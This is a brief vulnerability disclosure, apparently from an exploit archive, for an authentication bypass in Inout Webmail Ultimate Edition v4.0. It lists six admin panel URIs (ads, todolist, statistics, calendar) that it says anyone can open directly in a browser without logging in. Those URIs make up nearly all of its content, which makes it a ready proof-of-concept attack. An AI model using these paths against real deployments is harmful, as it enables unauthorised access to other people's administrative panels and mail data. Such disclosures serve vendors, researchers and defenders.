22 lines
No EOL
961 B
Text
22 lines
No EOL
961 B
Text
# # # # #
|
|
# Vulnerability: Security Bypass
|
|
# Date: 13.01.2017
|
|
# Vendor Homepage: http://www.inoutscripts.com/
|
|
# Script Name: Inout Webmail Ultimate Edition v4.0
|
|
# Script Version: Ultimate Edition v4.0, Ultimate Hypertable Version
|
|
# Script Buy Now: http://www.inoutscripts.com/demo/inout-webmail/demo/
|
|
# Author: İhsan Şencan
|
|
# Author Web: http://ihsan.net
|
|
# Mail : ihsan[beygir]ihsan[nokta]net
|
|
# # # # #
|
|
# Direct entrance..
|
|
# An attacker can exploit this issue via a browser.
|
|
# The following example URIs are available:
|
|
# http://localhost/[PATH]/admin/index.php?page=ads/sponsoredlinks
|
|
# http://localhost/[PATH]/admin/index.php?page=todolist/todolist
|
|
# http://localhost/[PATH]/admin/index.php?page=statistics/registration_showgraph
|
|
# http://localhost/[PATH]/admin/index.php?page=statistics/showgraph
|
|
# http://localhost/[PATH]/admin/index.php?page=statistics/accountactivity
|
|
# http://localhost/[PATH]/admin/index.php?page=calendar/calendar
|
|
# Vs.......
|
|
# # # # # |